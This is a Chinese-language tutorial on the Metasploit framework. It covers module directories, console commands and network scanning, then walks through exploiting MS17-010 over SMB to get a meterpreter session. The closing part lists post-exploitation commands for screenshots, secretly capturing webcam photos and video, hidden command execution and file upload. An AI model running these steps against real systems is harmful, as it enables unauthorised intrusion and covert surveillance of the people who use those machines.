简称MSF,高度模块儿化,框架由多个module组成。
它是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
目录
/usr/share/metasploit-framework
data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件
documentation:包含框架可用的框架
lib:metasploit的库文件夹
plugins:用来存放metasploit的插件
scripts:用来存放metasploit的脚本,包括meterpreter及其脚本
tools:存放多种命令行实用程序
modules:存储metasploit的模块文件
modules目录
auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证)
encoders :编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
evasion :躲避模块,用来生成免杀的payload
exploits:漏洞模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类
nops:由于IDS/IPS会检查数据包中国不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串会因为被拦截而导致攻击失效
payloads:攻击载荷,主要是攻击成功后在目标及其执行的代码,比如反弹shell的代码
post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
metasploit简单命令
msfdb init:初始化数据库
msfconsole:启动
db_status:查看是否连接到数据库
workspace:查看工作区
workspace -h:查看帮助命令
metasploit-信息收集
db_nmap:nmap扫描
-PA:TCP ACK PING扫描
-PS: TCP SYN PING扫描
-PR: ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其是在内网的情况下。因为防火墙不会禁止ARP请求
hosts:当前工作区的所有主机
-T[0-5]:默认是T3,T4表示最大TCP扫描延迟位10ms
-sS:TCP SYN扫描
-sA:TCP ACK扫描
-sT:TCP扫描
-A :打开操作系统探测和版本探测
利用模块进行扫描
端口扫描
use auxiliary/scanner/portscan/模式
use auxiliary/scanner/portscan/syn 半开扫描
以use auxiliary/scanner/portscan/syn 扫描为例
可以通过使用
search portscan 进行查看都有什么方式
show options 查看都有什么选项
set rhost ip地址
set threads 设置线程
使用run或者exploit进行跑
c段扫描
use auxiliary/scanner/discovery
按TAB键显示都有什么选项
常用的是arp_sweep
use auxiliary/scanner/discovery/arp_sweep
然后设置目标主机
set rhosts 192.168.123.0/24
然后设置线程什么的
run
就可以扫C段了
msf常用命令
show exploits:查看所有可用的渗透攻击程序代码
show auxiliary:查看所有可用的辅助攻击工具
show options/advanced:查看该模块的可用选项
show targets:查看该模块适用的攻击目标类型
search:根据关键字搜索某模块
info:显示模块的详细内容
use:使用某个模块
back:回退
set/unset:设置/禁止模块中的某个参数
setg/usetg:设置/禁用适用于所有模块的全局参数
save:将当前的设置保存下来,以便下次启动MSF终端时仍可以使用
msf攻击获取meterpreter
ms17_010
search ms17_010
两个攻击模块两个检测模块
use auxiliary/scanner/smb/smb_ms17_010
然后
show options
设置目标机器的地址
set rhosts ip地址(可以使用网段)
run
如果存在漏洞的话就可以利用攻击脚本
use exploit/windows/smb/ms17_010_psexec
设置目标IP地址
set rhosts IP地址
run
然后就进去了
meterpreter
然后输入 ? 回车 会显示操作命令
这里如果拿到的不是meterpreter那么可以进行转化
background 进入后台
sessions
然后输入 sessions 1
进行转换
meterpreter的利用
输入 ? 查看功能
这里我随便写几个功能
screenshot 截屏
webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频
shell 可以进入目标机器的命令行
execute -H -i -f cmd.exe
upload 上传文件 upload /exp.py C:\\exp.py